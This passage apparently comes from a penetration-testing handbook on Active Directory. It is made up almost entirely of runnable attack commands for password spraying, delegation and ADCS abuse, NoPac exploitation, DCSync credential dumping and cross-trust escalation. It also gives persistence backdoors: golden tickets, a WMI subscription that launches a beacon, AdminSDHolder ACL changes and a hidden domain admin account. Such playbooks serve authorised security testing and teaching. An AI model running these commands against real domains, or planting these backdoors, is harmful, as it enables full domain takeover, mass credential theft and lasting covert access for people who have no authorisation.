# Check policy first
Get-DomainPasswordPolicy
# Spray (auto-pulls user list from AD)
Invoke-DomainPasswordSpray -Password 'Welcome1' -Verbose
# With custom user list
Invoke-DomainPasswordSpray -UserList valid_users.txt -Password 'Welcome1'
Password Spray Strategy¶
Which password list to try?
│
├── Organization-specific passwords first:
│ → <CompanyName>2024, <CompanyName>!, Season+Year (Spring2024!)
│ → Check company website for mottos, slogans → use as password base
│
├── Common enterprise passwords:
│ → Welcome1, Welcome123, Password1, P@ssw0rd, Passw0rd
│ → <Month><Year> patterns: January2024!, March2024
│
├── Use CUPP for targeted wordlist (known exec names, birthdays):
│ python3 cupp.py -i
│
└── Spray timing:
→ Wait at LEAST 31 minutes between spray rounds (lockout reset)
→ Max 2 sprays per hour on most environments
9. PingCastle — AD Health / Attack Surface Audit¶
# Run full AD assessment (generates HTML report)
PingCastle.exe --healthcheck --domain <DOMAIN> --server <DC_IP>
PingCastle.exe --healthcheck --domain <DOMAIN> --server <DC_IP> --user <USER> --password <PASS>
10. Post-DA: GPO, LAPS & Delegation¶
10a. GPO Abuse¶
# List all GPOs
Get-DomainGPO | select displayname
# Find GPOs Domain Users have write rights over
$sid = Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
# Once you have GPO write rights — use PowerGPOAbuse or SharpGPOAbuse to:
# - Add local admin to all machines in OU
# - Run a scheduled task as SYSTEM on all machines
10b. LAPS — Read Local Admin Passwords¶
# Find computers with LAPS deployed
Get-DomainComputer -Filter {ms-Mcs-AdmPwdExpirationTime -ne $null} | select name, 'ms-Mcs-AdmPwd'
# Find who can read LAPS passwords
Get-DomainObjectAcl -Identity <COMPUTER_NAME> | ?{$_.ActiveDirectoryRights -like "*Read*"} | select IdentityReferenceName
# If you have rights:
Get-ADComputer <COMPUTER_NAME> -Properties 'ms-Mcs-AdmPwd' | select name, 'ms-Mcs-AdmPwd'
10c. Unconstrained Delegation Abuse¶
# Find hosts with unconstrained delegation
Get-DomainComputer -Unconstrained | select dnshostname
# Hosts with unconstrained delegation store ANY TGT that authenticates to them
# Force a DC to authenticate to the host (Printer Bug / SpoolSample):
.\SpoolSample.exe <DC_FQDN> <UNCONSTRAINED_HOST_FQDN>
# Extract the DC's TGT from LSASS:
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
# Inject DC TGT → DCSync
mimikatz # kerberos::ptt <DC_KRBTGT_TICKET>.kirbi
impacket-secretsdump -just-dc <DOMAIN>/DC$@<DC_IP> -k -no-pass
Unconstrained Delegation — Full Exploit¶
# Detection: Get computers with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties *
# Exploitation requires getting a TGT cached on the unconstrained delegation host
# Step 1: Compromise the unconstrained delegation host (any method)
# Step 2: Extract cached TGTs (Rubeus on the host or remotely via Mimikatz if SYSTEM)
.\Rubeus.exe triage # list all cached tickets
.\Rubeus.exe dump /luid:<LUID> /service:krbtgt /nowrap # dump specific TGT
.\Mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
# Step 3: Coerce a DC to auth to the unconstrained host (force a DC TGT to land there)
# From Linux (targeting the unconstrained host as responder):
python3 Coercer.py -u user -p pass -d domain.local -t <DC_IP> -l <UNCONSTRAINED_HOST_IP>
# Or: python3 printerbug.py domain.local/user:pass@<DC_IP> <UNCONSTRAINED_HOST_IP>
# Step 4: On unconstrained host — grab the DC's TGT that just arrived
.\Rubeus.exe monitor /interval:5 /nowrap # watch for new TGTs
# Copy the base64 TGT when DC$@domain.local appears
# Step 5: Inject the DC TGT and DCSync
.\Rubeus.exe ptt /ticket:<BASE64_TGT>
# From Linux:
echo "<BASE64>" | base64 -d > dc.ccache
export KRB5CCNAME=dc.ccache
secretsdump.py -k -no-pass 'domain.local/DC01$@<DC_IP>'
10d. Constrained Delegation Abuse¶
# Find users/computers with constrained delegation
Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto
# Exploit with Rubeus (S4U2proxy)
.\Rubeus.exe s4u /user:<DELEGATING_USER> /rc4:<NTLM> /impersonateuser:administrator /msdsspn:cifs/<TARGET> /ptt
Constrained Delegation — Full Exploit¶
# Detection
Get-ADUser -Filter {TrustedToAuthForDelegation -eq $True} -Properties *
Get-ADComputer -Filter {TrustedToAuthForDelegation -eq $True} -Properties *
# S4U2Self + S4U2Proxy — impersonate any user to the delegated service
# From Linux (impacket):
getST.py domain.local/svc_account:password -spn cifs/<TARGET_FQDN> -impersonate administrator -dc-ip <DC_IP>
export KRB5CCNAME=administrator@cifs_<TARGET>.ccache
smbexec.py -k -no-pass domain.local/administrator@<TARGET_FQDN>
# From Windows (Rubeus):
.\Rubeus.exe s4u /user:svc_account /password:password /impersonateuser:administrator /msdsspn:cifs/<TARGET_FQDN> /ptt
# Then: dir \\<TARGET_FQDN>\C$
RBCD (Resource-Based Constrained Delegation) — Full Exploit¶
# Requires: write msDS-AllowedToActOnBehalfOfOtherIdentity on target machine account
# Setup: create/use a computer account you control (attacker_comp$)
# Step 1: Create computer account (if you don't have one)
# via mitm6 relay: --add-computer attacker_comp
# Or directly if MachineAccountQuota > 0:
impacket-addcomputer domain.local/user:password -computer-name attacker_comp -computer-pass 'Attacker1!'
# Step 2: Write RBCD attribute on target machine
python3 rbcd.py -delegate-from 'attacker_comp$' -delegate-to 'TARGET_MACHINE$' \
-action write -dc-ip <DC_IP> 'domain.local/user:password'
# Step 3: Get service ticket as administrator for target service
getST.py -spn cifs/<TARGET_FQDN> -impersonate administrator \
-dc-ip <DC_IP> 'domain.local/attacker_comp$:Attacker1!'
export KRB5CCNAME=administrator@cifs_<TARGET>.ccache
# Step 4: Access target
smbexec.py -k -no-pass domain.local/administrator@<TARGET_FQDN>
secretsdump.py -k -no-pass domain.local/administrator@<TARGET_FQDN>
11. Domain Trust Attacks¶
Info
If the compromised domain has a trust relationship with other domains/forests, you may be able to escalate horizontally or vertically across trust boundaries.
11a. Enumerate Trusts¶
11b. Child → Parent Domain Escalation (ExtraSids Attack)¶
# Step 1: Get child domain krbtgt hash (you need DA in child first)
impacket-secretsdump -just-dc-user <CHILD_DOMAIN>\\krbtgt <CHILD_DOMAIN>/<DA_USER>:<PASS>@<CHILD_DC_IP>
# Step 2: Get child domain SID
impacket-lookupsid <CHILD_DOMAIN>/<USER>:<PASS>@<CHILD_DC_IP> | grep "Domain SID"
# Step 3: Get Enterprise Admins SID (parent domain SID + -519)
# EA SID = <PARENT_DOMAIN_SID>-519
# Step 4: raiseChild.py — automated exploitation
raiseChild.py -target-exec <PARENT_DC_IP> <CHILD_DOMAIN>/<DA_USER>:<PASS>
# Manual with Mimikatz (on Windows)
# Create golden ticket with ExtraSids pointing to parent's Enterprise Admins
mimikatz # kerberos::golden /user:Administrator /domain:<CHILD_DOMAIN> /sid:<CHILD_SID> /sids:<PARENT_EA_SID> /krbtgt:<KRBTGT_HASH> /ptt
# Now access parent DC
dir \\<PARENT_DC>\C$
11c. Cross-Forest Kerberoasting¶
# List SPNs in the trusted forest
Get-DomainUser -SPN -Domain <TRUSTED_FOREST_DOMAIN>
# Kerberoast across trust
.\Rubeus.exe kerberoast /domain:<TRUSTED_FOREST_DOMAIN> /dc:<TRUSTED_FOREST_DC> /nowrap
12. Hashcat Reference for AD Hashes¶
| Hash Type | Mode | Command |
|---|---|---|
| NTLM | 1000 | hashcat -m 1000 hash.txt rockyou.txt |
| NTLMv2 (Responder) | 5600 | hashcat -m 5600 hash.txt rockyou.txt |
| Kerberoast (RC4) | 13100 | hashcat -m 13100 hash.txt rockyou.txt |
| Kerberoast (AES-256) | 19700 | hashcat -m 19700 hash.txt rockyou.txt |
| AS-REP Roast | 18200 | hashcat -m 18200 hash.txt rockyou.txt |
| DCC2 (Domain Cached) | 2100 | hashcat -m 2100 hash.txt rockyou.txt |
# Always try rules-based attack after plain wordlist fails
hashcat -m <MODE> hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Hybrid attack (wordlist + mask: append 4 digits)
hashcat -m <MODE> -a 6 hash.txt rockyou.txt ?d?d?d?d
13. Active Directory Certificate Services (ADCS) Attacks¶
Info
ADCS is installed in a large percentage of enterprise environments and is routinely misconfigured. ESC1 alone (requestable templates with Client Authentication EKU + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) often gives direct DA via certificate-based auth.
ADCS Vulnerability Classes¶
| ESC | Misconfiguration | Impact |
|---|---|---|
| ESC1 | Template allows requestor to supply SAN + Client Auth EKU | Any enrolled user can get cert for any principal (DA) |
| ESC2 | Template with Any Purpose EKU | Same as ESC1 |
| ESC3 | Certificate Request Agent template | Request certs on behalf of others |
| ESC4 | Write permissions on template | Modify template to create ESC1 |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA | All templates vulnerable to SAN injection |
| ESC7 | ManageCA + ManageCertificates on CA | Approve your own cert requests |
| ESC8 | AD CS web enrollment over HTTP | NTLM relay to CA web endpoint |
Enumeration (Certipy)¶
# From Linux — full ADCS enumeration
certipy find -u user@domain.local -p 'Password' -dc-ip <DC_IP> -stdout
certipy find -u user@domain.local -p 'Password' -dc-ip <DC_IP> -vulnerable -stdout # only show vulnerable
# From Windows — Certify
.\Certify.exe find /vulnerable
.\Certify.exe find /enrolleeSuppliesSubject # specifically ESC1
ESC1 — Requestor-Supplied SAN (Most Common)¶
# 1. Identify vulnerable template
certipy find -u user@domain.local -p 'Password' -dc-ip <DC_IP> -vulnerable -stdout
# Look for: "Client Authentication" EKU + "Enrollee Supplies Subject" = True
# 2. Request cert as Domain Admin (supply DA UPN as SAN)
certipy req -u user@domain.local -p 'Password' -dc-ip <DC_IP> \
-target <CA_FQDN> -template <TEMPLATE_NAME> \
-upn administrator@domain.local \
-ca <CA_NAME>
# Output: administrator.pfx
# 3. Authenticate with the cert to get DA TGT
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
# Output: administrator.ccache + NTLM hash (if PKINIT supported)
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@<DC_IP> # full domain dump
# Windows alternative (Certify + Rubeus):
.\Certify.exe request /ca:<CA_FQDN>\<CA_NAME> /template:<TEMPLATE> /altname:administrator
# Copy cert PEM → convert to PFX
certutil -MergePFX cert.pem cert.pfx
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /ptt
ESC8 — NTLM Relay to AD CS Web Enrollment¶
# Requires: HTTP-based enrollment enabled (not HTTPS), SMB signing disabled on victim
# 1. Set up relay targeting CA web enrollment
ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support --adcs --template <TEMPLATE>
# Common templates for relay: Machine (for computer auth), User, DomainController
# 2. Coerce authentication from a machine account
# PrinterBug / Coercer (see §7) to force DC or machine to auth to you
python3 Coercer.py -u user -p pass -d domain.local -t <VICTIM_IP> -l <LHOST>
# 3. Receive base64 certificate from relay, convert to PFX
echo "<BASE64_CERT>" | base64 -d > dc.pfx # or use --dump-pfx in ntlmrelayx
# 4. Auth with DC cert (DCSync-level access)
certipy auth -pfx dc.pfx -dc-ip <DC_IP>
# Get TGT for DC machine account → DCSync
secretsdump.py -k -no-pass 'domain.local/DC01$@<DC_IP>'
ADCS Decision Tree¶
certipy find -vulnerable shows results?
│
├── ESC1 found?
│ └── certipy req with -upn administrator → certipy auth → DCSync
│
├── ESC8 found (HTTP enrollment)?
│ └── ntlmrelayx → Coercer → get machine cert → DCSync
│
├── ESC4 found (write on template)?
│ └── certipy template -save → modify → ESC1 exploit → restore template
│
└── No ADCS or no ESC?
└── Continue with other AD attack vectors
14. NoPac — samAccountName Spoofing (CVE-2021-42278 + CVE-2021-42287)¶
Info
NoPac chains two CVEs: any domain user can rename a computer account to match a DC's name (CVE-2021-42278) + impersonate a DC via Kerberos S4U2self (CVE-2021-42287). Net result: any domain user → Domain Admin on unpatched systems. Check this early — it's often present in older environments.
# Check if vulnerable (no credentials beyond a standard domain user needed)
python3 noPac.py domain.local/user:password -dc-ip <DC_IP> --check
# If vulnerable — full domain compromise
python3 noPac.py domain.local/user:password -dc-ip <DC_IP> -dc-host <DC_HOSTNAME> -shell --impersonate administrator
# This gives you a SYSTEM shell as Domain Admin — from there:
# 1. secretsdump to get all hashes
secretsdump.py domain.local/administrator@<DC_IP> -just-dc-ntlm
# NoPac.py available at: https://github.com/Ridter/noPac
# Also available as a Metasploit module: use exploit/windows/smb/ms21_42278_nopac
NoPac decision tree:
├── Is target unpatched (pre-Nov 2021 patches KB5008102, KB5008380)?
│ ├── Check: python3 noPac.py ... --check
│ ├── If VULNERABLE → noPac.py → instant DA
│ └── If NOT → continue with other vectors
└── Is target patched? → use ADCS, delegation, ACL abuse instead
DA Reached — What Now?¶
You have Domain Admin. Next steps:
│
├── 1. DCSync immediately → dump ALL domain hashes (§ 5)
│ impacket-secretsdump -just-dc-ntlm ...
│
├── 2. Crack the Administrator hash offline → have plaintext backup
│
├── 3. Create a persistence account (if engagement requires it)
│ net user <BACKDOOR_USER> '<PASS>' /add /domain
│ net group "Domain Admins" <BACKDOOR_USER> /add /domain
│
├── 4. Check for domain trusts → escalate to other forests (§ 11)
│
├── 5. Post-DA pillaging (§ 10): LAPS, GPO write, cleartext creds
│ crackmapexec smb <DC_IP> -u <USER> -p <PASS> -M gpp_autologin
│
└── 6. Document everything → Chapter 9 (Reporting)
Post-DA Persistence¶
Info
Establish multiple persistence mechanisms before doing anything that could trigger IR response (DCSync, mass lateral movement). DA can be revoked; good persistence survives password resets.
Golden Ticket¶
# Requires: krbtgt NTLM hash (from DCSync or NTDS.dit dump)
# Validity: 10 years by default. Survives DA password resets (unless krbtgt rotated twice).
# From Linux:
ticketer.py -nthash <KRBTGT_HASH> -domain-sid <DOMAIN_SID> -domain domain.local administrator
# Domain SID: get from secretsdump output or: impacket-lookupsid domain.local/user:pass@<DC_IP>
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@<DC_IP>
# From Windows (Mimikatz):
kerberos::golden /user:administrator /domain:domain.local /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /ptt
WMI Event Subscription (Fileless Persistence)¶
# Fires every 60 seconds — survives reboots, survives user logoff
# PowerShell version:
$Filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{
Name = "WindowsFilter"
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{
Name = "WindowsConsumer"
ExecutablePath = "C:\Windows\System32\cmd.exe"
CommandLineTemplate = "cmd /c C:\Windows\Temp\beacon.exe"
}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{
Filter = $Filter
Consumer = $Consumer
}
# Cleanup (when engagement ends):
Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -eq "WindowsFilter"} | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __EventConsumer | Where-Object {$_.Name -eq "WindowsConsumer"} | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Remove-WmiObject
AdminSDHolder Backdoor (Domain-Level)¶
# AdminSDHolder is the template that SDProp copies to protected groups (DA, EA, etc.)
# Add GenericAll for a controlled user → survives manual ACL resets on DA group
# From Linux (impacket dacledit):
python3 dacledit.py -action write -rights FullControl \
-principal attacker_user \
-target-dn "CN=AdminSDHolder,CN=System,DC=domain,DC=local" \
domain.local/administrator@<DC_IP> -hashes :<DA_HASH>
# From Windows (PowerView):
Add-DomainObjectAcl -TargetIdentity "AdminSDHolder" -PrincipalIdentity attacker_user -Rights All
# Wait for SDProp to run (every 60 min) — or trigger manually:
Invoke-ADSDPropagation # requires importing PowerView, or:
# Force via ldap: modify adminCount attribute to trigger immediate propagation